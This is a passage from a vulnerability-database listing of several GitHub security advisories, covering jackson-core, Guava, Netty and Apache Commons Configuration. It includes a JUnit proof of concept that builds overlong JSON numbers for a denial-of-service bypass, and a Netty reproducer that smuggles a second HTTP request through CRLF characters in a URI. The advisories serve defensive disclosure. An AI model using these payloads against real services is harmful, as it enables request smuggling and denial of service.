Rejected with StreamConstraintsException: \" + e.getMessage());\n }\n }\n\n // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n @Test\n void asyncParserAcceptsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n NonBlockingByteArrayJsonParser p =\n (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n p.feedInput(payload, 0, payload.length);\n p.endOfInput();\n\n boolean foundNumber = false;\n try {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n foundNumber = true;\n String numberText = p.getText();\n assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n }\n }\n // Output to console\n System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n } catch (StreamConstraintsException e) {\n fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n }\n p.close();\n }\n\n private byte[] buildPayloadWithLongInteger(int numDigits) {\n StringBuilder sb = new StringBuilder(numDigits + 10);\n sb.append(\"{\\\"v\\\":\");\n for (int i = 0; i \u003c numDigits; i++) {\n sb.append((char) (\u00271\u0027 + (i % 9)));\n }\n sb.append(\u0027}\u0027);\n return sb.toString().getBytes(StandardCharsets.UTF_8);\n }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
"id": "GHSA-72hv-8253-57qq",
"modified": "2026-04-07T16:30:17Z",
"published": "2026-02-28T02:01:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1555"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}
GHSA-7G45-4RM6-3MM3
Vulnerability from github – Published: 2023-06-14 18:30 – Updated: 2025-11-04 16:44Use of Java's default temporary directory for file creation in FileBackedOutputStream in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class.
Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.google.guava:guava"
},
"ranges": [
{
"events": [
{
"introduced": "1.0"
},
{
"fixed": "32.0.0-android"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-2976"
],
"database_specific": {
"cwe_ids": [
"CWE-379",
"CWE-552"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-14T21:01:07Z",
"nvd_published_at": "2023-06-14T18:15:09Z",
"severity": "MODERATE"
},
"details": "Use of Java\u0027s default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class.\n\nEven though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows.",
"id": "GHSA-7g45-4rm6-3mm3",
"modified": "2025-11-04T16:44:26Z",
"published": "2023-06-14T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2976"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/issues/2575"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/issues/6532"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/commit/feb83a1c8fd2e7670b244d5afd23cba5aca43284"
},
{
"type": "PACKAGE",
"url": "https://github.com/google/guava"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/releases/tag/v32.0.0"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230818-0008"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20241108-0002"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01006.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Guava vulnerable to insecure use of temporary directory"
}
GHSA-84H7-RJJ3-6JX4
Vulnerability from github – Published: 2025-12-15 23:28 – Updated: 2025-12-20 02:30Summary
The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.
Details
The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)
The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.
PoC
Simple reproducer:
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel();
client.pipeline().addLast(new HttpClientCodec());
EmbeddedChannel server = new EmbeddedChannel();
server.pipeline().addLast(new HttpServerCodec());
server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("Processing msg " + msg);
}
});
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1,
HttpMethod.GET,
"/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1"
);
client.writeAndFlush(request);
ByteBuf tmp;
while ((tmp = client.readOutbound()) != null) {
server.writeInbound(tmp);
}
}
Impact
Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.8.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.129.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-67735"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-15T23:28:49Z",
"nvd_published_at": "2025-12-16T01:15:52Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri.\n\n### Details\n\nThe `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`)\n\nThe default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.\n\n### PoC\n\nSimple reproducer:\n\n```java\npublic static void main(String[] args) {\n\n EmbeddedChannel client = new EmbeddedChannel();\n client.pipeline().addLast(new HttpClientCodec());\n\n EmbeddedChannel server = new EmbeddedChannel();\n server.pipeline().addLast(new HttpServerCodec());\n server.pipeline().addLast(new ChannelInboundHandlerAdapter() {\n @Override\n public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {\n System.out.println(\"Processing msg \" + msg);\n }\n });\n\n DefaultHttpRequest request = new DefaultHttpRequest(\n HttpVersion.HTTP_1_1,\n HttpMethod.GET,\n \"/s1 HTTP/1.1\\r\\n\" +\n \"\\r\\n\" +\n \"POST /s2 HTTP/1.1\\r\\n\" +\n \"content-length: 11\\r\\n\\r\\n\" +\n \"Hello World\" +\n \"GET /s1\"\n );\n client.writeAndFlush(request);\n ByteBuf tmp;\n while ((tmp = client.readOutbound()) != null) {\n server.writeInbound(tmp);\n }\n}\n```\n\n### Impact\n\nAny application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection.",
"id": "GHSA-84h7-rjj3-6jx4",
"modified": "2025-12-20T02:30:14Z",
"published": "2025-12-15T23:28:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67735"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/77e81f1e5944d98b3acf887d3aa443b252752e94"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder"
}
GHSA-PVP8-3XJ6-8C6X
Vulnerability from github – Published: 2025-05-09 12:31 – Updated: 2025-05-09 15:54Uncontrolled Resource Consumption vulnerability in Apache Commons Configuration 1.x.
There are a number of issues in Apache Commons Configuration 1.x that allow excessive resource consumption when loading untrusted configurations or using unexpected usage patterns. The Apache Commons Configuration team does not intend to fix these issues in 1.x. Apache Commons Configuration 1.x is still safe to use in scenarios where you only load trusted configurations.
Users that load untrusted configurations or give attackers control over usage patterns are recommended to upgrade to the 2.x version line, which fixes these issues. Apache Commons Configuration 2.x is not a drop-in replacement, but as it uses a separate Maven groupId and Java package namespace they can be loaded side-by-side, making it possible to do a gradual migration.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "commons-configuration:commons-configuration"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-46392"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-09T15:54:59Z",
"nvd_published_at": "2025-05-09T10:15:17Z",
"severity": "LOW"
},
"details": "Uncontrolled Resource Consumption vulnerability in Apache Commons Configuration 1.x.\n\nThere are a number of issues in Apache Commons Configuration 1.x that allow excessive resource consumption when loading untrusted configurations or using unexpected usage patterns. The Apache Commons Configuration team does not intend to fix these issues in 1.x. Apache Commons Configuration 1.x is still safe to use in scenarios where you only load trusted configurations. \n\nUsers that load untrusted configurations or give attackers control over usage patterns are recommended to upgrade to the 2.x version line, which fixes these issues. Apache Commons Configuration 2.x is not a drop-in replacement, but as it uses a separate Maven groupId and Java package namespace they can be loaded side-by-side, making it possible to do a gradual migration.",
"id": "GHSA-pvp8-3xj6-8c6x",
"modified": "2025-05-09T15:54:59Z",
"published": "2025-05-09T12:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46392"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/commons-configuration"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/y1pl0mn3opz6kwkm873zshjdxq3dwq5s"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-29131"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-29133"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Apache Commons Configuration Uncontrolled Resource Consumption"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.